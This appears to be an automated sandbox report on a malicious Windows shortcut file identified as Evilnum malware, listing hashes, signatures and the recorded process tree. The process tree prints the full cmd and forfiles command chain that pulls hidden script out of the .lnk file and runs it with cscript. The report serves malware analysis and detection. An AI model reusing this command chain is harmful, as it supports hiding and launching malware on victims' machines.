Analysis

  • max time kernel
    118s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 04:23

General

  • Target

    b89cc69c63894c4b263be5a7b7390d3f8500a8ed4834882a7282ebca301e528e.lnk

  • Size

    46KB

  • MD5

    12fd4e486b418914dbeedc4effc73426

  • SHA1

    eb046deb4bdf36461bb828967ce15d5123637cee

  • SHA256

    b89cc69c63894c4b263be5a7b7390d3f8500a8ed4834882a7282ebca301e528e

  • SHA512

    302251bedfc04c3b94e6ad6d785aa3623db4b25a05006eca60ef33ab70d6af1a224516deb4c5d33ada0fe2faf2773ca183905c6e65bce2e3fd196ec8beaa2195

Score
10/10

Malware Config

Signatures

  • Evilnum

    A malware family with multiple components distributed through LNK files.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\b89cc69c63894c4b263be5a7b7390d3f8500a8ed4834882a7282ebca301e528e.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1600
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "3.png*lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "3.pn*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "TRU4">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cScRiPt "C:\Users\Admin\AppData\Local\Temp\0.js"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1696
      • C:\Windows\system32\forfiles.exe
        forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "3.pn*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
        3⤵
          PID:1060
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
          3⤵
            PID:1196
          • C:\Windows\system32\find.exe
            find "TRU4"
            3⤵
              PID:908
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" rd a"
              3⤵
                PID:276
              • C:\Windows\system32\cscript.exe
                cScRiPt "C:\Users\Admin\AppData\Local\Temp\0.js"
                3⤵
                  PID:1648

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • memory/1600-55-0x000007FEFC2D1000-0x000007FEFC2D3000-memory.dmp

              Filesize

              8KB